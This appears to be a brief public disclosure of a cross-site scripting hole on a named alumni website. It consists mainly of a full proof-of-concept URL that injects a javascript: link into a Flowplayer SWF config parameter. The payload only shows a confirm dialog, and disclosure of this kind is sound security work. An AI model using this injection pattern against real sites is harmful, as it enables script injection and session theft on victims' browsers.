alumni-informatik-dortmund.de XSS vulnerability

Vulnerable URL: https://alumni-informatik-dortmund.de/modules/flowplayer/flowplayer/flowplayer.swf?config=%22clip%22:%22url%22:%22http://stream.flowplayer.org/bauhaus/624x260.mp4%22,%22linkUrl%22:%22javascript:confirm%28String.fromCharCode%2879,80,69,78,66,85,71,66,79,85,78,84,89%29%29;%22&.swf...